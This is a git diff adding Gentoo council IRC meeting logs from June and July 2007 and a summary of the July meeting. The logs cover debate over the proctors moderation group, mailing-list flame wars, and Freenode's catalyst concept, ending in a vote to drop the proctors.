+Jun 14 14:11:41 robbat2	some initial answers from me on them
+Jun 14 14:12:01 kingtaco|work	the answer to the last one is yes
+Jun 14 14:12:02 robbat2	tomk, that's going to be a proctors/devrel thing, more on that in the next agenda item
+Jun 14 14:12:58 kingtaco|work	as far as marienz Q, I say let the proctors decide that.  they have shown themselves to be a reactive group and not proactive, and the decision for a "flame" is certainly a reactive one
+Jun 14 14:13:24 kingtaco|work	I honestly don't know if we could have a proactive group
+Jun 14 14:13:40 *	igli (n=igli@unaffiliated/igli) has left #gentoo-council
+Jun 14 14:13:53 robbat2	tomaw, as jmbsvicetto points out to me, there has definetly been much discussion in the list already, but also that we're discussing a moving target here. evolution of requrements happens
+Jun 14 14:14:00 agaffney	without precognition, it's pretty difficult
+Jun 14 14:14:10 musikc	kingtaco|work: such proactive behaviour would likely incite more flames
+Jun 14 14:14:21 kingtaco|work	maybe
+Jun 14 14:14:27 kingtaco|work	it seems to have in the past
+Jun 14 14:15:47 robbat2	are there any council members that think more public discussion is needed before such an action is undertaken?
+Jun 14 14:16:06 robbat2	I personally think no, as it's an evolution of the present proctors stuff
+Jun 14 14:16:17 *	phreak`` has quit (Client Quit)
+Jun 14 14:16:35 Flameeyes	I think it should be at least left as a proposal for the community to examine, maybe not for a month, but reschedule an extra meeting in, say, two weeks time
+Jun 14 14:16:50 agaffney	kingtaco|work: hlieberman is asking if there will be an open floor before the vote
+Jun 14 14:17:37 kingtaco|work	well, considering we've never done that before and I think the only reason he's interested is because it affected him, I'd say no.  but I gave my chair up to robbat2
+Jun 14 14:18:04 robbat2	hlieberman, has already asked me that, because he wanted to present the Freenode Catalyst idea (http://freenode.net/catalysts.shtml)
+Jun 14 14:18:12 *	avenj (n=avenj@gentoo/developer/avenj) has joined #gentoo-council
+Jun 14 14:18:29 robbat2	i stated no, because we're going to visit it in the next agenda item
+Jun 14 14:18:58 kingtaco|work	robbat2, I'm forced to point out I've a screen full of people wanting us to not vote on this today
+Jun 14 14:19:10 kingtaco|work	wanting more discussion
+Jun 14 14:19:37 robbat2	ok, for the moment then, lets send this to the list, for a meeting in 2 weeks time AND continue with the next agenda item
+Jun 14 14:19:43 robbat2	since that's still relevant to the rest of the matter
+Jun 14 14:19:47 kingtaco|work	ok
+Jun 14 14:19:51 robbat2	could we still have a prelinary vote by council?
+Jun 14 14:19:55 robbat2	non-binding
+Jun 14 14:20:26 *	rangerpb (i=baude@gentoo/developer/rangerpb) has joined #gentoo-council
+Jun 14 14:20:27 kingtaco|work	sure
+Jun 14 14:20:37 *	nightmorph (n=nightmor@gentoo/developer/nightmorph) has joined #gentoo-council
+Jun 14 14:20:40 robbat2	ok, for voting for the matter as I outlined in the 3 points above
+Jun 14 14:20:42 robbat2	yes for me
+Jun 14 14:21:03 kingtaco|work	yes
+Jun 14 14:21:22 robbat2	agaffney, Flameeyes, Kugelfang, SpanKY, jaervosz
+Jun 14 14:21:28 *	robbat2 gives channel operator status to jaervosz
+Jun 14 14:21:30 Flameeyes	mostly yes here
+Jun 14 14:21:47 agaffney	yes
+Jun 14 14:22:13 kingtaco|work	SpanKY, Kugelfang jaervosz
+Jun 14 14:22:31 jaervosz	atm i tend to say no, giving the proctors more time to show results
+Jun 14 14:22:35 kingtaco|work	ok
+Jun 14 14:23:37 robbat2	SpanKY, we're waiting
+Jun 14 14:24:05 kingtaco|work	robbat2, we have 4 yeses and it's non binding, I think we can move on
+Jun 14 14:24:11 robbat2	eh, it's non-binding anyway.
+Jun 14 14:24:12 robbat2	moving on
+Jun 14 14:24:15 kingtaco|work	we can record his vote later if he agrees
+Jun 14 14:24:33 robbat2	next is proctors, and relevant is musikc's email
+Jun 14 14:24:42 *	[equilibrium] (n=equilibr@gentoo/contributor/equilibrium) has joined #gentoo-council
+Jun 14 14:24:45 robbat2	to summarize for those non-council that didn't recieve it
+Jun 14 14:24:55 robbat2	(and I do think a revised version should go out to all)
+Jun 14 14:25:02 kingtaco|work	remember that wolf called for the project to be disbanded
+Jun 14 14:25:32 robbat2	it discusses both the development and processes that should be involved in proctors
+Jun 14 14:26:23 kingtaco|work	robbat2, you should probably voice all those proctors at the moment, most of them wanted to keep talking when I cut them off
+Jun 14 14:26:39 robbat2	ok, will do in one sec
+Jun 14 14:27:24 musikc	robbat2: if we can agree to continue proctors, we can sort out the specific details later
+Jun 14 14:27:27 robbat2	the core of the processes email is laying out why proctors should take the course of action (including ignoring) that they do
+Jun 14 14:28:03 *	robbat2 gives voice to hlieberman NeddySeagoon blackace
+Jun 14 14:28:12 *	robbat2 gives voice to pilla
+Jun 14 14:28:37 *	blackace would like to nominate marienz to speak for proctors
+Jun 14 14:28:43 *	robbat2 gives voice to marienz
+Jun 14 14:28:52 robbat2	anybody else for voice? i've got a few things to state first
+Jun 14 14:28:59 *	marienz thinks that's a silly idea 'cause he's a slacker and only recently got involved with proctors at all, but will try
+Jun 14 14:29:09 SpanKY	yeah
+Jun 14 14:29:24 robbat2	ok, nobody else coming up yet. so to quickly cover the other thing
+Jun 14 14:29:41 robbat2	hlieberman, brings up the Catalyst concept from FreeNode
+Jun 14 14:29:47 kingtaco|work	SpanKY, yeah to that prelim vote?
+Jun 14 14:29:55 SpanKY	yeah
+Jun 14 14:30:00 kingtaco|work	k
+Jun 14 14:30:15 robbat2	and I believe that all of the items in there should be applied to every developer. _all_ of us should hold ourselves to that level of behavior
+Jun 14 14:30:32 hlieberman	robbat2, Tell me when you want me to speak.
+Jun 14 14:31:00 musikc	robbat2: it sounds like you presume everyone else has read it. perhaps you could summarize it?
+Jun 14 14:31:18 robbat2	i'll link again
+Jun 14 14:31:24 robbat2	http://freenode.net/catalysts.shtml
+Jun 14 14:31:48 robbat2	it reads a lot like the second half of Christel's original CoC proposal (not the punishment half)
+Jun 14 14:31:58 kingtaco|work	it's good in concept, I don't see how it applies to us
+Jun 14 14:32:18 kingtaco|work	it's really just "be a decent person and lead by example"
+Jun 14 14:32:25 hlieberman	If I may?
+Jun 14 14:32:31 kingtaco|work	by all means
+Jun 14 14:32:45 robbat2	hlieberman, go for it
+Jun 14 14:33:11 *	rangerpb has quit (Client Quit)
+Jun 14 14:33:18 hlieberman	Thank you. So, the catalyst concept.
+Jun 14 14:33:55 hlieberman	Now one very important thing to realize about this concept is that it is meant to diffuse the situation.
+Jun 14 14:33:59 hlieberman	For example.
+Jun 14 14:34:10 hlieberman	Someone starts ranting in #gentoo about how Gentoo sucks.
+Jun 14 14:34:22 hlieberman	Well, setting a ban is the easiest thing to do.
+Jun 14 14:34:30 hlieberman	Shuts them up. Done.
+Jun 14 14:34:45 hlieberman	But whenever someone exercises their power over other people, it increases the temperature of the discussion.
+Jun 14 14:35:27 hlieberman	The catalyst way would be to be calm, and to try and nudge them onto a productive track.
+Jun 14 14:35:44 kingtaco|work	I'll point out that it's been tried by many people many times
+Jun 14 14:35:49 hlieberman	Frequently (though there are exceptions), people who burn up and start flames are pissed about something.
+Jun 14 14:35:51 robbat2	hlieberman, why shouldn't every developer be expected to act under the catalyst model?
+Jun 14 14:35:53 kingtaco|work	I've only had a positive effect doing that once
+Jun 14 14:36:00 hlieberman	In #gentoo with users, it's frequently because they broke something.
+Jun 14 14:36:18 hlieberman	And if you figure out what it is, and guide them through the solution...
+Jun 14 14:36:25 Flameeyes	I don't think this would apply for the in-fighting between devs
+Jun 14 14:36:26 hlieberman	You just lowered the temperature in the channel.
+Jun 14 14:36:45 hlieberman	Now, please, don't mistake this for saying no one should be banned ever. Nyah, censorship, nyah.
+Jun 14 14:36:48 NeddySeagoon	hlieberman, proctors already try to do this in private
+Jun 14 14:36:49 kingtaco|work	from experence, it's helped once out of the dozen times I've tried
+Jun 14 14:36:55 hlieberman	I'm saying that it shouldn't be a first step.
+Jun 14 14:37:17 hlieberman	Example from the mailing lists.
+Jun 14 14:37:31 hlieberman	The bubble letter.
+Jun 14 14:37:40 kingtaco|work	bubble?
+Jun 14 14:37:45 musikc	robbat2 has a point, since the role of catalyst has no authority, its really parrellel to the CoC and an expectation of every dev
+Jun 14 14:37:54 hlieberman	It was titled Living in a Bubble.
+Jun 14 14:37:57 kingtaco|work	oh
+Jun 14 14:37:58 Flameeyes	"Living in a bubble", beejay's mail which started one of the latest flames
+Jun 14 14:37:58 kingtaco|work	right
+Jun 14 14:38:01 kingtaco|work	yeah
+Jun 14 14:38:02 hlieberman	A user complaining about the developer mailing list.
+Jun 14 14:38:11 hlieberman	The first reactions to those were to flame right back.
+Jun 14 14:38:44 hlieberman	It was a joke, bla, bla, bla.
+Jun 14 14:38:47 hlieberman	Escalating, escalating.
+Jun 14 14:39:03 hlieberman	People got (perhaps rightly) pissed off, and responded as such.
+Jun 14 14:39:50 hlieberman	And once that cycle starts, it's hard to stop.
+Jun 14 14:40:06 robbat2	that is exactly why every developer should act as a catalyst
+Jun 14 14:40:19 robbat2	and not respond in kind
+Jun 14 14:40:23 hlieberman	Exactly.
+Jun 14 14:40:32 agaffney	am I needed for anything else?
+Jun 14 14:40:40 hlieberman	Moderators aren't needed if developers don't help fan the flames. They should be there just in case, but..
+Jun 14 14:40:41 agaffney	I'll be leaving work in <10 minutes
+Jun 14 14:40:51 agaffney	and I won't be back near a computer until late tonight
+Jun 14 14:40:57 hlieberman	The decision to ban, or to exercise authority should be used as a last resort.
+Jun 14 14:41:12 blackace	How do you plan to get rid of developers who do not act as catalysts?
+Jun 14 14:41:23 hlieberman	You don't need to.
+Jun 14 14:41:28 hlieberman	There are three hundred something developers.
+Jun 14 14:41:36 blackace	...
+Jun 14 14:41:40 hlieberman	If half of them, or a quarter of them start acting responsibly.
+Jun 14 14:41:47 hlieberman	And not fanning the flames.
+Jun 14 14:41:52 blackace	So...magic then?
+Jun 14 14:41:59 jaervosz	~99% do that already..
+Jun 14 14:42:01 hlieberman	They will die out on their own.
+Jun 14 14:42:22 hlieberman	I mean responsibly as in responsible catalysts.
+Jun 14 14:42:26 kingtaco|work	hlieberman, the CoC mimics the same idea
+Jun 14 14:42:30 hlieberman	It does.
+Jun 14 14:42:34 musikc	hlieberman: this is all covered under the CoC, and has not been demonstrated effective as the only resource (that being refer to the CoC and be have)
+Jun 14 14:42:43 *	jaervosz has quit (Read error: 104 (Connection reset by peer))
+Jun 14 14:42:45 Flameeyes	hlieberman, as jaervosz said, most of the devs already do that, it's a so-called "vocal minority" that creates the flames, and I doubt that just telling people to be nice once again will help
+Jun 14 14:42:46 jmbsvicetto	hlieberman: If you look at the mls stats, you'll notice that the majority of posts are from half a dozen devs and users.
+Jun 14 14:42:47 hlieberman	But I think where the CoC fell down a bit was that we jumped to moderation too quickly.
+Jun 14 14:42:53 kingtaco|work	some of us do it, more often than not we're ignored, we should all continue to di it, but I don't see where you're going with this?
+Jun 14 14:43:25 robbat2	yes, more people should certaining have clamped down in the catalyst sense on the Bubble email
+Jun 14 14:43:36 robbat2	they didn't, and it got out of control
+Jun 14 14:43:44 hlieberman	robbat2 has the idea.
+Jun 14 14:43:55 musikc	robbat2: hence the need for ... $insert some role$
+Jun 14 14:44:02 hlieberman	No, no.
+Jun 14 14:44:07 *	agaffney waves goodbye
+Jun 14 14:44:09 hlieberman	The solution isn't adding more people with power.
+Jun 14 14:44:22 robbat2	hlieberman, how do you get people to act as catalysts then?
+Jun 14 14:44:31 blackace	agaffney: thanks, take care :)
+Jun 14 14:44:45 musikc	hlieberman: and how to do get others to abide by something another dev acting as a catalyst says?
+Jun 14 14:44:59 marienz	hlieberman: if half a dozen people decide to flame each other to a crisp in spite of dozens of catalysts telling them not to in private mail, the -dev ml *still* won't be a usable thing.
+Jun 14 14:45:22 hlieberman	marienz, Agreed. And that's a circumstance where a restriction is necessary. When the catalyst system fails.
+Jun 14 14:45:54 robbat2	which returns us to the past debate on, who decides at when a system has failed and something more severe is needed
+Jun 14 14:45:54 hlieberman	But in many circumstances, the catalyst system will work before that's necessary.
+Jun 14 14:46:02 *	Cardoe has quit (Client Quit)
+Jun 14 14:46:32 NeddySeagoon	hlieberman, the lag on a mailing list makes it very difficult to stop a flameware, the catalyst approach works for some other things
+Jun 14 14:46:53 dmwaters	hlieberman: the catalyst system works for freenode because most of the staff is trained for that, doing it with 300 devs is much harder
+Jun 14 14:46:54 hlieberman	Agreed - the lag makes it much more difficult.
+Jun 14 14:46:58 marienz	oh, the catalyst thing is *very* important, and as others have pointed out the coc is in places very similar in spirit at least
+Jun 14 14:47:01 kingtaco|work	guys, we're not getting anywhere
+Jun 14 14:47:15 Flameeyes	as agaffney is already gone, it's getting late (and we're stuck at the same point as... 20 minutes ago?) I think I'll take the opportunity to go a bit AFK myself.. for what concerns disbanding the proctors, as jaervosz said before, I'd like to give them a bit more time
+Jun 14 14:47:17 kingtaco|work	if there are no further items we need to vote on, I move to open the floor
+Jun 14 14:47:36 hlieberman	dmwaters, I can imagine. Perhaps some people (christel) familiar with the system could write up a "How to" so to speak and put that on the list.
+Jun 14 14:47:37 marienz	but even before we had the CoC, people were supposed to act as catalysts already, and we need a system in place for when they *don't*
+Jun 14 14:47:47 marienz	this "people should act as catalysts" isn't new
+Jun 14 14:47:48 musikc	kingtaco|work: what of the issue of the future of the proctors?
+Jun 14 14:47:53 hlieberman	That's all I'm here to say. :)
+Jun 14 14:47:55 robbat2	council: quick vote, who in favour of giving proctors more time?
+Jun 14 14:47:56 *	jaervosz (n=jaervosz@gentoo/developer/jaervosz) has joined #gentoo-council
+Jun 14 14:47:59 musikc	hlieberman: they've done that, its called CoC
+Jun 14 14:48:02 robbat2	vs. disbanding
+Jun 14 14:48:10 robbat2	I say more time, flameyes does too
+Jun 14 14:48:17 hlieberman	musikc, That's listing what you need - not how to do it.
+Jun 14 14:48:28 kingtaco|work	I'd say more time only because we're changing the scope of what they are doing
+Jun 14 14:49:16 marienz	I have some proctor-related thoughts but I should've brought them up on the list earlier, so I'll mention them once the floor is opened instead. Unless someone has questions now, of course :)
+Jun 14 14:49:19 musikc	council: can we further the decision to include allowing devrel to assist in this new opportunity for proctors?
+Jun 14 14:49:33 kingtaco|work	I can't reiterate enough that I'm unhappy with the current direction the proctors have taken
+Jun 14 14:50:03 robbat2	ok, quick summary, then open floor
+Jun 14 14:50:12 musikc	kingtaco|work: and devrel would like nothing more than the opportunity to assist
+Jun 14 14:50:17 marienz	musikc: can't speak for the rest of proctors, but I'm all for more cooperation/integration there
+Jun 14 14:50:23 robbat2	1. from the previous item, adding somebody to moderation needs to go into musikc's email
+Jun 14 14:50:33 robbat2	2. catalyst stuff goes into CoC
+Jun 14 14:50:52 robbat2	3. musikc: make your email public after editing more?
+Jun 14 14:51:00 *	robbat2 gives channel operator status to jaervosz
+Jun 14 14:51:19 robbat2	anything more before opening the floor?
+Jun 14 14:51:20 musikc	robbat2: 3) give us time to hash it out further and we will, say one week?
+Jun 14 14:51:28 robbat2	musikc, ok with me
+Jun 14 14:51:46 jmbsvicetto	I would suggest taking that discussion to the #gentoo-proctors ml - that's one of the reasons it was created
+Jun 14 14:51:47 NeddySeagoon	musikc, please do
+Jun 14 14:51:55 *	hlieberman (n=hlieberm@gentoo/developer/hlieberman) has left #gentoo-council ("Leaving")
+Jun 14 14:52:06 robbat2	ok, so opening the floor then
+Jun 14 14:52:12 *	robbat2 sets mode -m #gentoo-council
+Jun 14 14:52:27 *	kingtaco|work removes voice from blackace
+Jun 14 14:52:31 *	kingtaco|work removes voice from jmbsvicetto
+Jun 14 14:52:34 *	kingtaco|work removes voice from marienz
+Jun 14 14:52:36 *	[equilibrium] has quit (Client Quit)
+Jun 14 14:52:38 *	kingtaco|work removes voice from musikc
+Jun 14 14:52:42 *	kingtaco|work removes voice from NeddySeagoon
+Jun 14 14:52:44 *	robbat2 removes voice from NeddySeagoon pilla
+Jun 14 14:52:45 *	kingtaco|work removes voice from pilla
+Jun 14 14:53:04 jmbsvicetto	kingtaco|work: Can you please elaborate what's wrong on the proctors direction and what would you like to see being done differently?
+Jun 14 14:53:06 robbat2	bah, now hlieberman has left
+Jun 14 14:53:32 jaervosz	robbat2: he's still around somewhere
+Jun 14 14:53:35 *	You've invited hlieberman to #gentoo-council (zelazny.freenode.net)
+Jun 14 14:54:01 kingtaco|work	jmbsvicetto, when I brought up the idea I envisioned a proactive group that would attempt to diffuse a potential flamewar before it became one
+Jun 14 14:54:09 kingtaco|work	to date that hasn't been done
+Jun 14 14:54:21 kingtaco|work	but I've come to realize that I had a unrealistic expectation
+Jun 14 14:54:33 marienz	kingtaco|work: we've *tried* but it's rather hard, especially because of the time lag thing I mentioned.
+Jun 14 14:54:42 *	hlieberman (n=hlieberm@gentoo/developer/hlieberman) has joined #gentoo-council
+Jun 14 14:54:44 kingtaco|work	I don't believe any group can be proactive in this case
+Jun 14 14:54:56 kingtaco|work	so now we work around my faulty assumption
+Jun 14 14:55:12 marienz	not unless we apply massive amounts of moderation, which would encounter a lot of resistance from people claiming it's censorship.
+Jun 14 14:55:25 jmbsvicetto	kingtaco|work: ki
+Jun 14 14:55:37 robbat2	every developer should be proactive in apply Catalyst/CoC to their email before they hit send
+Jun 14 14:55:49 robbat2	but that's a pipe dream too
+Jun 14 14:55:55 marienz	anyway, I think one obvious thing we need to fix is that we need a different place than the -dev ml to direct complaints about proctor decisions.
+Jun 14 14:55:58 jmbsvicetto	kingtaco|work: ok
+Jun 14 14:56:10 robbat2	marienz, -project ;-)
+Jun 14 14:56:16 NeddySeagoon	kingtaco|work, there are two cases.  When thisng develop slowly, there is time to send private emails and nip them. When things develop quickly, the mail lag prevents that
+Jun 14 14:56:24 marienz	because every time we do something unpopular we morph the discussion into an anti-proctors one instead of really stopping it.
+Jun 14 14:56:38 jmbsvicetto	marienz: We have -proctors, but I see little interest in using it
+Jun 14 14:56:59 kingtaco|work	NeddySeagoon, the moderate idea that we discussed convers it
+Jun 14 14:57:02 marienz	if we set up a separate list (could be -project, but I think it should actually be a publically-archived separate list) and *heavily* enforce all complaints have to go to that list, I think that'd help.
+Jun 14 14:57:05 kingtaco|work	you no longer need to be proactive
+Jun 14 14:57:11 kingtaco|work	at least not on -dev
+Jun 14 14:57:48 marienz	I also think that if we keep proctors around council needs to decide what proctors should and shouldn't be able to do, and keep in mind that proctors will actually *use* whatever "powers" you give it :)
+Jun 14 14:58:09 marienz	if you don't want us to give temporary ml bans, don't give us that ability, or make it very obvious under what circumstances the ability should be used
+Jun 14 14:58:29 marienz	and if you decide we overuse that ability, complain to *us*, not straight to the -dev list
+Jun 14 14:58:37 musikc	marienz: a lot of what you are discussing was addressed in the proposal devrel sent to council
+Jun 14 14:58:56 marienz	musikc: just to council, right, or did I miss a mail?
+Jun 14 14:58:57 musikc	and its been agreed that devrel and proctors can work on this together
+Jun 14 14:59:06 jmbsvicetto	kingtaco|work: Another problem that I see getting more serious on the -dev ml is personal discussions escalating into "gang" confrontations - sorry for the strong word
+Jun 14 14:59:06 kingtaco|work	marienz, wish I could agree, but we looked at the logs, the proctors have not used their "special powers"
+Jun 14 14:59:17 marienz	so far I don't think we've been getting in each others way, but that'd be good :)
+Jun 14 14:59:22 musikc	marienz: just council thus far, we need to hash out the details and THEN send it to everyone
+Jun 14 14:59:36 blackace	musikc: so you can't really expect marienz to know about it
+Jun 14 14:59:42 marienz	musikc: perhaps you could send it to the proctors alias before that (but I don't know what's in it, so perhaps that doesn't make sense)
+Jun 14 14:59:53 musikc	blackace: i didnt say i did
+**** BEGIN LOGGING AT Thu Jun 14 15:00:04 2007
+
+Jun 14 15:00:04 musikc	only said what i did to inform him
+Jun 14 15:00:11 marienz	kingtaco|work: mainly referring to wolf's mail demanding we immediately drop a block
+Jun 14 15:00:13 fmccor	It can go to proctors, I think.
+Jun 14 15:00:19 blackace	musikc: ah ok, gotcha, from my perspective it looked like you were
+Jun 14 15:00:19 musikc	marienz: i propose devrel work with proctors on this, not do it for proctors
+Jun 14 15:00:25 kingtaco|work	anyway, you guys should get with devrel, they have a bunch of ideas that could help you
+Jun 14 15:00:30 marienz	great
+Jun 14 15:00:50 fmccor	devrel is here to serve.
+Jun 14 15:01:16 musikc	splendid. so we're agreed to go into this further with proctors and will have a revised proposal by the end of next week.
+Jun 14 15:02:34 musikc	are we in fact agreed or am i just making that up?
+Jun 14 15:02:46 *	marienz blinks
+Jun 14 15:02:57 marienz	I think you and fmccor are agreeing, at least :)
+Jun 14 15:03:44 musikc	i also appear to have agreement from robbat2 and NeddySeagoon a few minutes ago, or so it seemed
+Jun 14 15:04:20 NeddySeagoon	musikc, I agree that devrel and proctors need to work closely
+Jun 14 15:05:02 marienz	proctors can't really agree or disagree since we haven't read whatever it is you're proposing (other than that we should work together, which I think is obviously a good idea since our scopes somewhat overlap)
+Jun 14 15:05:14 musikc	so shall we continue this conversation in #gentoo-proctors?
+Jun 14 15:05:18 marienz	oh, ok
+Jun 14 15:05:21 NeddySeagoon	kingtaco|work, proctors still need to work behind the scenes to point out to posters that they could have phrased things better
+Jun 14 15:05:43 musikc	marienz: im not asking that you agree blankly, just that you agree to work on developing it with devrel so we can take this discussion else where and let everyone get back to whatever they need to be doing
+Jun 14 15:05:48 kingtaco|work	robbat2, I suppose we should put out our proposal
+Jun 14 15:05:56 kingtaco|work	who's doing logs and summary?
+Jun 14 15:06:16 kingtaco|work	NeddySeagoon, I don't really have any more input for the proctors today
+Jun 14 15:06:59 christel	i know im late, but just a heads up, if council goes for what was proposed by devrel, i think we can very much swing this around by doing it as intended :_
+Jun 14 15:07:02 christel	:)
+Jun 14 15:07:07 NeddySeagoon	kingtaco|work, ok.  What of the councils keeping an eye on the proctors - we have lost the council members that used to do that
+Jun 14 15:07:10 christel	(sorry, ikea ate up my evening)
+Jun 14 15:07:17 robbat2	hlieberman, btw still on the issue of Catalyst, i'm all ears to hear how you can get more people to act sensibly under it
+Jun 14 15:07:31 kingtaco|work	NeddySeagoon, it has always been, and for the next 3 months it will always be me
+Jun 14 15:07:42 hlieberman	I'll put it on my list of things to try and figure out. :)
+Jun 14 15:07:43 NeddySeagoon	kingtaco|work, Fine
+Jun 14 15:07:51 kingtaco|work	others are welcome to watch
+Jun 14 15:07:54 marienz	christel: ikea is eeeeeevil
+Jun 14 15:07:56 jeeves	dooooooork
+Jun 14 15:08:03 christel	robbat2: on freenode making people catalyze is pretty easy, however, it does take a fair chunk on one on one time with individuals to encourage them to behave in a manner appropriate :)
+Jun 14 15:08:05 *	kingtaco|work gives voice to jeeves
+Jun 14 15:08:12 hlieberman	jeeves++
+Jun 14 15:08:33 christel	marienz: yes! but i have so much new stuff :D (and ive just been informed that im banned from going to ikea for 12 months)
+Jun 14 15:08:43 marienz	christel: you should be, that's for sure
+Jun 14 15:08:45 hlieberman	christel, By... the store?
+Jun 14 15:08:48 *	solar wonders how much karma jeeves would have
+Jun 14 15:08:59 hlieberman	christel, What did you do!?
+Jun 14 15:09:40 jakub	hlieberman: she painted the whole store pink :P
+Jun 14 15:09:46 fmccor	Hi, christel ; bye, christel
+Jun 14 15:10:05 jmbsvicetto	jakub: :)
+Jun 14 15:12:54 christel	perhaps this isn't the place for this discussion :)
+Jun 14 15:13:07 *	jakub snickers
+Jun 14 15:13:38 robbat2	christel, in the catalyst document you mention formal training
+Jun 14 15:13:43 robbat2	what form does that presently take?
+Jun 14 15:14:09 marienz	nonexistant, afaik
+Jun 14 15:14:21 marienz	training, yes, formal, no
+Jun 14 15:14:30 marienz	(christel: correct me if I lie)
+Jun 14 15:16:15 *	dang has quit ("Leaving.")
+Jun 14 15:17:36 christel	marienz: we havent done much in the way of formal training for a while, however, next batch is upcoming when we finish the appraisals
+Jun 14 15:17:40 christel	:)
+Jun 14 15:18:36 kloeri	good luck solving these problems everybody - in particular devrel and council that I left a bit abruptly :)
+Jun 14 15:18:57 christel	robbat2: i dont think freenodes catalyst idea can be made to work for gentoo that easily really, its different fora. however, the idea of empowering people to be helpful and respectful is always a good one, and can be adapted pretty much anywhere
+Jun 14 15:19:12 christel	kloeri: bitch
+Jun 14 15:19:18 christel	:P
+Jun 14 15:19:42 robbat2	christel, as I noted, it would work fine if every developer held themselves to it before hitting send on their email
+Jun 14 15:20:25 robbat2	but that's a pipe dream with the present attitudes and behavior
+Jun 14 15:20:33 kloeri	christel: now now, be a good catalyst :)
+Jun 14 15:21:00 spb	remember your high school chemistry, everyone
+Jun 14 15:21:04 spb	catalysts speed up reactions
+Jun 14 15:21:28 robbat2	spb, lol!
+Jun 14 15:21:33 hlieberman	spb++
+Jun 14 15:22:47 christel	spb: ;)
+Jun 14 15:23:39 christel	robbat2: yeah, however, it is something we (you) are in a position to demand :)
+Jun 14 15:24:23 *	think4urs11 (n=think4ur@gentoo/developer/think4urs11) has left #gentoo-council ("see ya")
+Jun 14 15:28:15 *	desultory (n=dean@gentoo/developer/desultory) has left #gentoo-council
+Jun 14 15:29:21 robbat2	spb, am I correct in noting that nobody has commited to PMS in the last 2 months?
+Jun 14 15:29:47 spb	entirely possible
+Jun 14 15:30:32 robbat2	ok, please bug me in two weeks if you don't hear from me about how to access Git ;-)
+Jun 14 15:33:54 armin76	robbat2: http://cia.vc/stats/project/PMS
+Jun 14 15:34:21 robbat2	armin76, yup, that ties up with what I know
+Jun 14 15:34:26 robbat2	r164 two months ago
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070712-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070712-summary.txt
new file mode 100644
index 00000000..18b3951e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070712-summary.txt
@@ -0,0 +1,23 @@
+- Council noted the lack of pre-prepared agenda items, and tried to see what
+  outsanding issues from previous months were still running. jaervosz and
+  vapier were marked as slackers for non-attendance.
+
+- On the Musikc's proposal from the June meeting that was to be assembled and
+  discussed by proctors, no progress had been made due to real-life issues and
+  timing conflicts. The previously existing document was not agreed upon by
+  existing proctors either.
+
+- The issues of -project, and moderation of email were brought up the
+  counterproposal to the proctors, as they had been discussed in the June 2007
+  meeting.
+
+- Kingtaco wanted a vote to cancel the proctors. robbat2 wanted them to just
+  die quietly if no material was forthcoming. Others called for a definate
+  stand rather than the "die quietly". All 5 attending council members voted
+  in favour of dropping the proctors.
+
+- More discussion was put into the -project and moderation issue and the state
+  of proctors.
+
+- nightmorph aske the council questions about how much time council work takes
+  up and the like.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070712.txt b/xml/htdocs/proj/en/council/meeting-logs/20070712.txt
new file mode 100644
index 00000000..dfcb6ba1
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070712.txt
@@ -0,0 +1,406 @@
+**** BEGIN LOGGING AT Thu Jul 12 13:00:31 2007
+Jul 12 13:00:31 *	kingtaco|work sets mode +m #gentoo-council
+Jul 12 13:00:34 *	kingtaco|work gives voice to spb
+Jul 12 13:00:46 wolf31o2	ok... I'm here and I've got (at most) 1 hour before a meeting here
+Jul 12 13:01:10 kingtaco|work	I've work to do today too
+Jul 12 13:01:16 kingtaco|work	no 6 hour long meetings
+Jul 12 13:01:40 kingtaco|work	erm
+Jul 12 13:01:44 kingtaco|work	we're missing some people
+Jul 12 13:02:19 wolf31o2	yeah
+Jul 12 13:02:19 kingtaco|work	SpanKY, vapier: ping
+Jul 12 13:03:02 robbat2	ok, I _just_ got the summary of the previous meeting completed
+Jul 12 13:03:34 *	nightmorph (n=nightmor@gentoo/developer/nightmorph) has joined #gentoo-council
+Jul 12 13:03:45 wolf31o2	do we even have an agenda this meeting?
+Jul 12 13:03:57 wolf31o2	nobody sent anything out, so I'm not really even sure what we're discussing
+Jul 12 13:04:14 kingtaco|work	proctor shit from last month
+Jul 12 13:04:20 kingtaco|work	ML shit from last month
+Jul 12 13:04:30 robbat2	that was dependant on musikc's email
+Jul 12 13:04:36 robbat2	which I didn't see go out at all
+Jul 12 13:04:43 kingtaco|work	we could talk about the pms/eapi stuff, but that seems pointless
+Jul 12 13:04:51 robbat2	there's nothing there either
+Jul 12 13:04:57 wolf31o2	right
+Jul 12 13:05:14 robbat2	spb, pingy
+Jul 12 13:05:18 spb	hi
+Jul 12 13:05:34 robbat2	do you have anything to bring up while you are standing in for Kugelfang?
+Jul 12 13:05:42 spb	not that i can think of
+Jul 12 13:05:58 *	robbat2 gives voice to musikc
+Jul 12 13:06:26 *	Uber (n=uberlord@gentoo/developer/UberLord) has joined #gentoo-council
+Jul 12 13:06:27 *	ChanServ gives channel operator status to Uber
+Jul 12 13:06:34 Uber	hi
+Jul 12 13:06:47 robbat2	hi Uber
+Jul 12 13:06:52 robbat2	do you have any council business to bring up?
+Jul 12 13:06:54 spb	you're late grumble grumble
+Jul 12 13:06:59 robbat2	else this is looking like a very short meeting
+Jul 12 13:07:16 Uber	no and sorry. rl stuff :/
+Jul 12 13:07:20 spb	it is rather
+Jul 12 13:07:47 robbat2	yeah, it seems a lot of folks hit RL keeping them busy
+Jul 12 13:08:11 robbat2	that's eaten a lot of my time this last month, my commit stats on CIA are dismal
+Jul 12 13:08:35 spb	heh, try mine
+Jul 12 13:08:37 Uber	I'm doing a load of out of normal hours stuff atm :/
+Jul 12 13:08:57 Uber	the curse of a month long honeymoon I guess!
+Jul 12 13:09:10 spb	slacker
+Jul 12 13:09:34 Uber	pot meet kettle :P
+Jul 12 13:09:43 wolf31o2	1 messages so far this month, 30 messages last month
+Jul 12 13:09:46 wolf31o2	wow... I'm slack
+Jul 12 13:10:11 robbat2	ok, so open floor just to see if anybody else has anything?
+Jul 12 13:10:18 spb	go for it
+Jul 12 13:10:34 musikc	wrt the proctors, the only thing i can speak on first hand is that a proposal was not put together and agreed upon by the remaining five members. from what i have heard the proctors had issues with various members being absorbed by real life or conflicts in timing. bottom line, the only proposal document has not been agreed upon by all existing members.
+Jul 12 13:10:38 Uber	well, all my projects are ticking along nicely :)
+Jul 12 13:10:45 *	robbat2 sets mode -m #gentoo-council
